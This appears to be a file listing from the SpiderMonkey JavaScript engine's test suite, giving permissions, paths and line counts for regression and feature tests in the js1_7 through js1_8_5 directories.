-rw-r--r--js/src/tests/js1_7/extensions/browser.js0
-rw-r--r--js/src/tests/js1_7/extensions/destructuring-order.js152
-rw-r--r--js/src/tests/js1_7/extensions/iterator-ctor.js102
-rw-r--r--js/src/tests/js1_7/extensions/regress-346021.js45
-rw-r--r--js/src/tests/js1_7/extensions/regress-346642-06.js62
-rw-r--r--js/src/tests/js1_7/extensions/regress-346773.js52
-rw-r--r--js/src/tests/js1_7/extensions/regress-350312.js80
-rw-r--r--js/src/tests/js1_7/extensions/regress-351070-02.js69
-rw-r--r--js/src/tests/js1_7/extensions/regress-351102-03.js43
-rw-r--r--js/src/tests/js1_7/extensions/regress-351102-04.js35
-rw-r--r--js/src/tests/js1_7/extensions/regress-351102-05.js34
-rw-r--r--js/src/tests/js1_7/extensions/regress-351102-07.js43
-rw-r--r--js/src/tests/js1_7/extensions/regress-352797-01.js35
-rw-r--r--js/src/tests/js1_7/extensions/regress-352885-01.js29
-rw-r--r--js/src/tests/js1_7/extensions/regress-352885-02.js67
-rw-r--r--js/src/tests/js1_7/extensions/regress-353214-01.js47
-rw-r--r--js/src/tests/js1_7/extensions/regress-353249.js35
-rw-r--r--js/src/tests/js1_7/extensions/regress-354499-01.js46
-rw-r--r--js/src/tests/js1_7/extensions/regress-354499-02.js49
-rw-r--r--js/src/tests/js1_7/extensions/regress-354945-01.js34
-rw-r--r--js/src/tests/js1_7/extensions/regress-354945-02.js38
-rw-r--r--js/src/tests/js1_7/extensions/regress-355052-01.js37
-rw-r--r--js/src/tests/js1_7/extensions/regress-355052-02.js37
-rw-r--r--js/src/tests/js1_7/extensions/regress-355052-03.js43
-rw-r--r--js/src/tests/js1_7/extensions/regress-355410.js40
-rw-r--r--js/src/tests/js1_7/extensions/regress-355512.js38
-rw-r--r--js/src/tests/js1_7/extensions/regress-363040-01.js65
-rw-r--r--js/src/tests/js1_7/extensions/regress-363040-02.js64
-rw-r--r--js/src/tests/js1_7/extensions/regress-366668-01.js31
-rw-r--r--js/src/tests/js1_7/extensions/regress-367629.js38
-rw-r--r--js/src/tests/js1_7/extensions/regress-368213.js17
-rw-r--r--js/src/tests/js1_7/extensions/regress-368224.js28
-rw-r--r--js/src/tests/js1_7/extensions/regress-372364.js35
-rw-r--r--js/src/tests/js1_7/extensions/regress-379566.js45
-rw-r--r--js/src/tests/js1_7/extensions/regress-380933.js27
-rw-r--r--js/src/tests/js1_7/extensions/regress-381301.js32
-rw-r--r--js/src/tests/js1_7/extensions/regress-381303.js35
-rw-r--r--js/src/tests/js1_7/extensions/regress-387955-01.js40
-rw-r--r--js/src/tests/js1_7/extensions/regress-387955-02.js41
-rw-r--r--js/src/tests/js1_7/extensions/regress-392308.js47
-rw-r--r--js/src/tests/js1_7/extensions/regress-396326.js37
-rw-r--r--js/src/tests/js1_7/extensions/regress-453955.js31
-rw-r--r--js/src/tests/js1_7/extensions/regress-458679.js52
-rw-r--r--js/src/tests/js1_7/extensions/regress-469234.js30
-rw-r--r--js/src/tests/js1_7/extensions/regress-469405-01.js27
-rw-r--r--js/src/tests/js1_7/extensions/regress-469405-02.js25
-rw-r--r--js/src/tests/js1_7/extensions/regress-470300-01.js30
-rw-r--r--js/src/tests/js1_7/extensions/regress-470300-02.js30
-rw-r--r--js/src/tests/js1_7/extensions/regress-473282.js20
-rw-r--r--js/src/tests/js1_7/extensions/regress-474771-01.js32
-rw-r--r--js/src/tests/js1_7/extensions/regress-474771-02.js20
-rw-r--r--js/src/tests/js1_7/extensions/regress-476257.js57
-rw-r--r--js/src/tests/js1_7/extensions/regress-477048.js34
-rw-r--r--js/src/tests/js1_7/extensions/regress-589112.js6
-rw-r--r--js/src/tests/js1_7/extensions/regress-590813.js23
-rw-r--r--js/src/tests/js1_7/extensions/regress-591450.js12
-rw-r--r--js/src/tests/js1_7/extensions/shell.js0
-rw-r--r--js/src/tests/js1_7/geniter/326466-01.js45
-rw-r--r--js/src/tests/js1_7/geniter/browser.js0
-rw-r--r--js/src/tests/js1_7/geniter/builtin-Iterator-function.js89
-rw-r--r--js/src/tests/js1_7/geniter/close-returns-undefined.js20
-rw-r--r--js/src/tests/js1_7/geniter/fibonacci-matrix-generator.js64
-rw-r--r--js/src/tests/js1_7/geniter/gen-with-call-obj.js36
-rw-r--r--js/src/tests/js1_7/geniter/iterator-toString.js43
-rw-r--r--js/src/tests/js1_7/geniter/message-value-passing.js88
-rw-r--r--js/src/tests/js1_7/geniter/multiple-close.js65
-rw-r--r--js/src/tests/js1_7/geniter/nested-yield.js58
-rw-r--r--js/src/tests/js1_7/geniter/pi-generator.js59
-rw-r--r--js/src/tests/js1_7/geniter/regress-345855.js93
-rw-r--r--js/src/tests/js1_7/geniter/regress-345879-01.js33
-rw-r--r--js/src/tests/js1_7/geniter/regress-345879-02.js34
-rw-r--r--js/src/tests/js1_7/geniter/regress-347593.js60
-rw-r--r--js/src/tests/js1_7/geniter/regress-347739.js49
-rw-r--r--js/src/tests/js1_7/geniter/regress-349012-01.js52
-rw-r--r--js/src/tests/js1_7/geniter/regress-349012-02.js61
-rw-r--r--js/src/tests/js1_7/geniter/regress-349012-03.js42
-rw-r--r--js/src/tests/js1_7/geniter/regress-349012-04.js42
-rw-r--r--js/src/tests/js1_7/geniter/regress-349012-05.js43
-rw-r--r--js/src/tests/js1_7/geniter/regress-349023-01.js42
-rw-r--r--js/src/tests/js1_7/geniter/regress-349023-02.js29
-rw-r--r--js/src/tests/js1_7/geniter/regress-349023-03.js29
-rw-r--r--js/src/tests/js1_7/geniter/regress-349331.js95
-rw-r--r--js/src/tests/js1_7/geniter/regress-349362.js29
-rw-r--r--js/src/tests/js1_7/geniter/regress-349851.js36
-rw-r--r--js/src/tests/js1_7/geniter/regress-350621.js63
-rw-r--r--js/src/tests/js1_7/geniter/regress-350809.js36
-rw-r--r--js/src/tests/js1_7/geniter/regress-351120.js36
-rw-r--r--js/src/tests/js1_7/geniter/regress-352197.js36
-rw-r--r--js/src/tests/js1_7/geniter/regress-352876.js42
-rw-r--r--js/src/tests/js1_7/geniter/regress-355834.js30
-rw-r--r--js/src/tests/js1_7/geniter/regress-359062.js41
-rw-r--r--js/src/tests/js1_7/geniter/regress-366941.js83
-rw-r--r--js/src/tests/js1_7/geniter/regress-382335.js36
-rw-r--r--js/src/tests/js1_7/geniter/regress-387871.js41
-rw-r--r--js/src/tests/js1_7/geniter/regress-390918.js46
-rw-r--r--js/src/tests/js1_7/geniter/regress-392310.js42
-rw-r--r--js/src/tests/js1_7/geniter/regress-466206.js38
-rw-r--r--js/src/tests/js1_7/geniter/send-no-rhs.js57
-rw-r--r--js/src/tests/js1_7/geniter/sequential-yields.js72
-rw-r--r--js/src/tests/js1_7/geniter/shell.js0
-rw-r--r--js/src/tests/js1_7/geniter/simple-fib.js55
-rw-r--r--js/src/tests/js1_7/geniter/throw-after-close.js90
-rw-r--r--js/src/tests/js1_7/geniter/throw-forever.js85
-rw-r--r--js/src/tests/js1_7/geniter/unreachable-yield.js57
-rw-r--r--js/src/tests/js1_7/geniter/yield-new.js28
-rw-r--r--js/src/tests/js1_7/geniter/yield-undefined.js63
-rw-r--r--js/src/tests/js1_7/iterable/browser.js0
-rw-r--r--js/src/tests/js1_7/iterable/regress-340526-01.js27
-rw-r--r--js/src/tests/js1_7/iterable/regress-340526-02.js43
-rw-r--r--js/src/tests/js1_7/iterable/regress-341496.js19
-rw-r--r--js/src/tests/js1_7/iterable/regress-341499.js33
-rw-r--r--js/src/tests/js1_7/iterable/regress-341510.js29
-rw-r--r--js/src/tests/js1_7/iterable/regress-341815.js94
-rw-r--r--js/src/tests/js1_7/iterable/regress-341821.js83
-rw-r--r--js/src/tests/js1_7/iterable/regress-354750-01.js42
-rw-r--r--js/src/tests/js1_7/iterable/regress-355025.js28
-rw-r--r--js/src/tests/js1_7/iterable/regress-355075-01.js38
-rw-r--r--js/src/tests/js1_7/iterable/regress-355090.js37
-rw-r--r--js/src/tests/js1_7/iterable/regress-415922.js49
-rw-r--r--js/src/tests/js1_7/iterable/regress-568056.js24
-rw-r--r--js/src/tests/js1_7/iterable/shell.js0
-rw-r--r--js/src/tests/js1_7/lexical/browser.js0
-rw-r--r--js/src/tests/js1_7/lexical/regress-336376-01.js323
-rw-r--r--js/src/tests/js1_7/lexical/regress-346642-03.js124
-rw-r--r--js/src/tests/js1_7/lexical/regress-346642-04.js36
-rw-r--r--js/src/tests/js1_7/lexical/regress-351515.js97
-rw-r--r--js/src/tests/js1_7/lexical/shell.js0
-rw-r--r--js/src/tests/js1_7/regexp/browser.js0
-rw-r--r--js/src/tests/js1_7/regexp/shell.js0
-rw-r--r--js/src/tests/js1_7/regexp/yflag.js88
-rw-r--r--js/src/tests/js1_7/regress/browser.js0
-rw-r--r--js/src/tests/js1_7/regress/regress-350387.js38
-rw-r--r--js/src/tests/js1_7/regress/regress-352640-01.js33
-rw-r--r--js/src/tests/js1_7/regress/regress-352640-02.js33
-rw-r--r--js/src/tests/js1_7/regress/regress-352640-03.js33
-rw-r--r--js/src/tests/js1_7/regress/regress-352640-04.js33
-rw-r--r--js/src/tests/js1_7/regress/regress-353079.js29
-rw-r--r--js/src/tests/js1_7/regress/regress-355023.js31
-rw-r--r--js/src/tests/js1_7/regress/regress-355832-01.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-355832-02.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-363040-01.js95
-rw-r--r--js/src/tests/js1_7/regress/regress-363040-02.js67
-rw-r--r--js/src/tests/js1_7/regress/regress-369666-01.js59
-rw-r--r--js/src/tests/js1_7/regress/regress-369666-02.js63
-rw-r--r--js/src/tests/js1_7/regress/regress-372331.js55
-rw-r--r--js/src/tests/js1_7/regress/regress-373827-01.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-373827-02.js34
-rw-r--r--js/src/tests/js1_7/regress/regress-375695.js27
-rw-r--r--js/src/tests/js1_7/regress/regress-379442.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-379483.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-385133-01.js37
-rw-r--r--js/src/tests/js1_7/regress/regress-385133-02.js35
-rw-r--r--js/src/tests/js1_7/regress/regress-385393-05.js44
-rw-r--r--js/src/tests/js1_7/regress/regress-407727-01.js17
-rw-r--r--js/src/tests/js1_7/regress/regress-407727-02.js19
-rw-r--r--js/src/tests/js1_7/regress/regress-407957.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-410649.js42
-rw-r--r--js/src/tests/js1_7/regress/regress-414553.js25
-rw-r--r--js/src/tests/js1_7/regress/regress-416601.js37
-rw-r--r--js/src/tests/js1_7/regress/regress-418641.js80
-rw-r--r--js/src/tests/js1_7/regress/regress-419803.js31
-rw-r--r--js/src/tests/js1_7/regress/regress-452703.js19
-rw-r--r--js/src/tests/js1_7/regress/regress-452960.js31
-rw-r--r--js/src/tests/js1_7/regress/regress-453049.js29
-rw-r--r--js/src/tests/js1_7/regress/regress-453051.js29
-rw-r--r--js/src/tests/js1_7/regress/regress-453411.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-462071.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-462282.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-462388.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-462407.js19
-rw-r--r--js/src/tests/js1_7/regress/regress-464403.js32
-rw-r--r--js/src/tests/js1_7/regress/regress-465236.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-465424.js30
-rw-r--r--js/src/tests/js1_7/regress/regress-465484.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-465686.js35
-rw-r--r--js/src/tests/js1_7/regress/regress-469239-01.js36
-rw-r--r--js/src/tests/js1_7/regress/regress-469239-02.js36
-rw-r--r--js/src/tests/js1_7/regress/regress-470223.js38
-rw-r--r--js/src/tests/js1_7/regress/regress-470388-01.js28
-rw-r--r--js/src/tests/js1_7/regress/regress-474771.js45
-rw-r--r--js/src/tests/js1_7/regress/shell.js0
-rw-r--r--js/src/tests/js1_7/shell.js12
-rw-r--r--js/src/tests/js1_7/template.js28
-rw-r--r--js/src/tests/js1_8/README1
-rw-r--r--js/src/tests/js1_8/browser.js0
-rw-r--r--js/src/tests/js1_8/extensions/browser.js0
-rw-r--r--js/src/tests/js1_8/extensions/dekker.js68
-rw-r--r--js/src/tests/js1_8/extensions/expclo.js23
-rw-r--r--js/src/tests/js1_8/extensions/expclo2.js23
-rw-r--r--js/src/tests/js1_8/extensions/lamport.js93
-rw-r--r--js/src/tests/js1_8/extensions/peterson.js57
-rw-r--r--js/src/tests/js1_8/extensions/regress-353116.js78
-rw-r--r--js/src/tests/js1_8/extensions/regress-385729.js55
-rw-r--r--js/src/tests/js1_8/extensions/regress-394709.js51
-rw-r--r--js/src/tests/js1_8/extensions/regress-415721.js44
-rw-r--r--js/src/tests/js1_8/extensions/regress-417131.js76
-rw-r--r--js/src/tests/js1_8/extensions/regress-417817.js55
-rw-r--r--js/src/tests/js1_8/extensions/regress-419091.js52
-rw-r--r--js/src/tests/js1_8/extensions/regress-445818.js41
-rw-r--r--js/src/tests/js1_8/extensions/regress-446169-01.js50
-rw-r--r--js/src/tests/js1_8/extensions/regress-446169-02.js48
-rw-r--r--js/src/tests/js1_8/extensions/regress-452913.js18
-rw-r--r--js/src/tests/js1_8/extensions/regress-454744.js35
-rw-r--r--js/src/tests/js1_8/extensions/regress-465337.js30
-rw-r--r--js/src/tests/js1_8/extensions/regress-465453.js42
-rw-r--r--js/src/tests/js1_8/extensions/regress-469625.js42
-rw-r--r--js/src/tests/js1_8/extensions/regress-471197.js45
-rw-r--r--js/src/tests/js1_8/extensions/regress-472450-03.js34
-rw-r--r--js/src/tests/js1_8/extensions/regress-472450-04.js36
-rw-r--r--js/src/tests/js1_8/extensions/regress-473040.js25
-rwxr-xr-xjs/src/tests/js1_8/extensions/regress-475971.js58
-rw-r--r--js/src/tests/js1_8/extensions/regress-476414-01.js67
-rw-r--r--js/src/tests/js1_8/extensions/regress-476414-02.js67
-rw-r--r--js/src/tests/js1_8/extensions/regress-476653.js34
-rw-r--r--js/src/tests/js1_8/extensions/regress-476869.js45
-rw-r--r--js/src/tests/js1_8/extensions/regress-479252.js41
-rw-r--r--js/src/tests/js1_8/extensions/regress-479381.js51
-rw-r--r--js/src/tests/js1_8/extensions/regress-481989.js19
-rw-r--r--js/src/tests/js1_8/extensions/regress-482263.js26
-rw-r--r--js/src/tests/js1_8/extensions/shell.js0
-rw-r--r--js/src/tests/js1_8/extensions/simple-tree.js52
-rw-r--r--js/src/tests/js1_8/genexps/regress-347739.js51
-rw-r--r--js/src/tests/js1_8/genexps/regress-349012-01.js54
-rw-r--r--js/src/tests/js1_8/genexps/regress-349326.js148
-rw-r--r--js/src/tests/js1_8/genexps/regress-384991.js59
-rw-r--r--js/src/tests/js1_8/genexps/regress-665286.js33
-rw-r--r--js/src/tests/js1_8/genexps/regress-683738.js71
-rw-r--r--js/src/tests/js1_8/genexps/shell.js0
-rw-r--r--js/src/tests/js1_8/regress/browser.js0
-rw-r--r--js/src/tests/js1_8/regress/regress-366941.js74
-rw-r--r--js/src/tests/js1_8/regress/regress-384412.js98
-rw-r--r--js/src/tests/js1_8/regress/regress-384758.js36
-rw-r--r--js/src/tests/js1_8/regress/regress-404734.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-427798.js58
-rw-r--r--js/src/tests/js1_8/regress/regress-433279-01.js28
-rw-r--r--js/src/tests/js1_8/regress/regress-433279-02.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-433279-03.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-442333-01.js38
-rw-r--r--js/src/tests/js1_8/regress/regress-452491.js29
-rw-r--r--js/src/tests/js1_8/regress/regress-455981-01.js36
-rw-r--r--js/src/tests/js1_8/regress/regress-455981-02.js36
-rw-r--r--js/src/tests/js1_8/regress/regress-457065-01.js32
-rw-r--r--js/src/tests/js1_8/regress/regress-457065-02.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-458076.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-459185.js34
-rw-r--r--js/src/tests/js1_8/regress/regress-459186.js34
-rw-r--r--js/src/tests/js1_8/regress/regress-459389.js118
-rw-r--r--js/src/tests/js1_8/regress/regress-461930.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-461932.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-463334-01.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-463334-02.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-464096.js32
-rw-r--r--js/src/tests/js1_8/regress/regress-464418.js46
-rw-r--r--js/src/tests/js1_8/regress/regress-464978.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465220.js43
-rw-r--r--js/src/tests/js1_8/regress/regress-465234.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-465239.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-465241.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-465249.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465261.js34
-rw-r--r--js/src/tests/js1_8/regress/regress-465308.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-465454.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-01.js32
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-02.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-03.js29
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-04.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-05.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-06.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-07.js38
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-08.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-09.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-10.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-11.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465460-12.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465483.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-465567-01.js29
-rw-r--r--js/src/tests/js1_8/regress/regress-465567-02.js25
-rw-r--r--js/src/tests/js1_8/regress/regress-465688.js28
-rw-r--r--js/src/tests/js1_8/regress/regress-466128.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-466787.js33
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-01.js28
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-02.js34
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-03.js47
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-04.js42
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-05.js31
-rw-r--r--js/src/tests/js1_8/regress/regress-467495-06.js44
-rw-r--r--js/src/tests/js1_8/regress/regress-468711.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-469547.js34
-rw-r--r--js/src/tests/js1_8/regress/regress-469625-02.js35
-rw-r--r--js/src/tests/js1_8/regress/regress-469625-03.js42
-rw-r--r--js/src/tests/js1_8/regress/regress-471373.js43
-rw-r--r--js/src/tests/js1_8/regress/regress-471660.js37
-rw-r--r--js/src/tests/js1_8/regress/regress-474769.js35
-rw-r--r--js/src/tests/js1_8/regress/regress-474771.js41
-rw-r--r--js/src/tests/js1_8/regress/regress-474935.js40
-rw-r--r--js/src/tests/js1_8/regress/regress-476655.js39
-rw-r--r--js/src/tests/js1_8/regress/regress-477234.js48
-rw-r--r--js/src/tests/js1_8/regress/regress-477581.js35
-rw-r--r--js/src/tests/js1_8/regress/regress-478205.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-479353.js23
-rw-r--r--js/src/tests/js1_8/regress/regress-479740.js36
-rw-r--r--js/src/tests/js1_8/regress/regress-481800.js30
-rw-r--r--js/src/tests/js1_8/regress/regress-483749.js25
-rw-r--r--js/src/tests/js1_8/regress/regress-499524.js50
-rw-r--r--js/src/tests/js1_8/regress/regress-532491.js37
-rw-r--r--js/src/tests/js1_8/regress/shell.js0
-rw-r--r--js/src/tests/js1_8/shell.js12
-rw-r--r--js/src/tests/js1_8/template.js28
-rw-r--r--js/src/tests/js1_8_1/JSON/browser.js0
-rw-r--r--js/src/tests/js1_8_1/JSON/regress-458959.js32
-rw-r--r--js/src/tests/js1_8_1/JSON/regress-459293.js25
-rw-r--r--js/src/tests/js1_8_1/JSON/shell.js0
-rw-r--r--js/src/tests/js1_8_1/README1
-rw-r--r--js/src/tests/js1_8_1/String/browser.js0
-rw-r--r--js/src/tests/js1_8_1/String/regress-305064.js144
-rw-r--r--js/src/tests/js1_8_1/String/shell.js0
-rw-r--r--js/src/tests/js1_8_1/browser.js0
-rw-r--r--js/src/tests/js1_8_1/extensions/browser.js0
-rw-r--r--js/src/tests/js1_8_1/extensions/new-parenthesization.js21
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-353214-02.js30
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-437288-01.js35
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-452498-162.js24
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-452498-193.js34
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-452498-196.js44
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-466905-04.js49
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-466905-05.js45
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-477158.js31
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-477187.js41
-rw-r--r--js/src/tests/js1_8_1/extensions/regress-520572.js41
-rw-r--r--js/src/tests/js1_8_1/extensions/shell.js0
-rw-r--r--js/src/tests/js1_8_1/extensions/strict-warning.js32
-rw-r--r--js/src/tests/js1_8_1/jit/browser.js0
-rw-r--r--js/src/tests/js1_8_1/jit/math-jit-tests.js687
-rw-r--r--js/src/tests/js1_8_1/jit/regress-451673.js81
-rw-r--r--js/src/tests/js1_8_1/jit/regress-451974-01.js52
-rw-r--r--js/src/tests/js1_8_1/jit/regress-451974-02.js63
-rw-r--r--js/src/tests/js1_8_1/jit/regress-452498-01.js72
-rw-r--r--js/src/tests/js1_8_1/jit/regress-458838.js63
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-01.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-02.js70
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-03.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-04.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-05.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-06.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-07.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-08.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-09.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-10.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-11.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-462459-12.js71
-rw-r--r--js/src/tests/js1_8_1/jit/regress-469927.js44
-rw-r--r--js/src/tests/js1_8_1/jit/regress-470739.js46
-rw-r--r--js/src/tests/js1_8_1/jit/regress-471635.js56
-rw-r--r--js/src/tests/js1_8_1/jit/regress-489682.js31
-rw-r--r--js/src/tests/js1_8_1/jit/shell.js4
-rw-r--r--js/src/tests/js1_8_1/regress/browser.js0
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-006.js45
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-027.js38
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-030.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-040.js37
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-050.js43
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-051.js48
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-052-a.js42
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-053.js80
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-058.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-062.js44
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-063.js35
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-071.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-072.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-073.js38
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-074.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-075.js32
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-076.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-079.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-082.js84
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-092.js40
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-101.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-102.js69
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-104.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-111.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-112.js39
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-114-a.js43
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-114.js50
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-116.js33
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-117.js95
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-118.js33
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-121.js33
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-123.js59
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-129.js50
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-131.js49
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-135.js46
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-155.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-160.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-168-1.js33
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-168-2.js32
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-176.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-181.js31
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-185.js37
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-187.js36
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-191.js47
-rw-r--r--js/src/tests/js1_8_1/regress/regress-452498-192.js30
-rw-r--r--js/src/tests/js1_8_1/regress/regress-466905-01.js30
-rw-r--r--js/src/tests/js1_8_1/regress/regress-466905-02.js29
-rw-r--r--js/src/tests/js1_8_1/regress/regress-479430-01.js44
-rw-r--r--js/src/tests/js1_8_1/regress/regress-479430-02.js46
-rw-r--r--js/src/tests/js1_8_1/regress/regress-479430-03.js49
-rw-r--r--js/src/tests/js1_8_1/regress/regress-479430-04.js45
-rw-r--r--js/src/tests/js1_8_1/regress/regress-479430-05.js44
-rw-r--r--js/src/tests/js1_8_1/regress/regress-495773.js42
-rw-r--r--js/src/tests/js1_8_1/regress/regress-495907.js34
-rw-r--r--js/src/tests/js1_8_1/regress/regress-496922.js38
-rw-r--r--js/src/tests/js1_8_1/regress/regress-507053.js46
-rw-r--r--js/src/tests/js1_8_1/regress/regress-507295.js41
-rw-r--r--js/src/tests/js1_8_1/regress/regress-509354.js41
-rw-r--r--js/src/tests/js1_8_1/regress/regress-522123.js38
-rw-r--r--js/src/tests/js1_8_1/regress/regress-524264.js7
-rw-r--r--js/src/tests/js1_8_1/regress/regress-524743.js20
-rw-r--r--js/src/tests/js1_8_1/regress/regress-530879.js9
-rw-r--r--js/src/tests/js1_8_1/regress/shell.js0
-rw-r--r--js/src/tests/js1_8_1/shell.js13
-rw-r--r--js/src/tests/js1_8_1/strict/12.2.1.js75
-rw-r--r--js/src/tests/js1_8_1/strict/8.7.2.js17
-rw-r--r--js/src/tests/js1_8_1/strict/shell.js88
-rw-r--r--js/src/tests/js1_8_1/template.js28
-rw-r--r--js/src/tests/js1_8_5/README4
-rw-r--r--js/src/tests/js1_8_5/browser.js0
-rw-r--r--js/src/tests/js1_8_5/extensions/array-length-protochange.js35
-rw-r--r--js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js28
-rw-r--r--js/src/tests/js1_8_5/extensions/browser.js6
-rw-r--r--js/src/tests/js1_8_5/extensions/censor-strict-caller.js34
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-complex-object.js313
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-errors.js41
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-forge.js39
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-leaf-object.js64
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-many-transferables.js25
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-object-deep.js25
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-object.js129
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-regexp.js37
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-simple.js33
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-transferables.js112
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-typed-array.js104
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat32
-rw-r--r--js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js130
-rw-r--r--js/src/tests/js1_8_5/extensions/column-numbers.js10
-rw-r--r--js/src/tests/js1_8_5/extensions/dataview.js1635
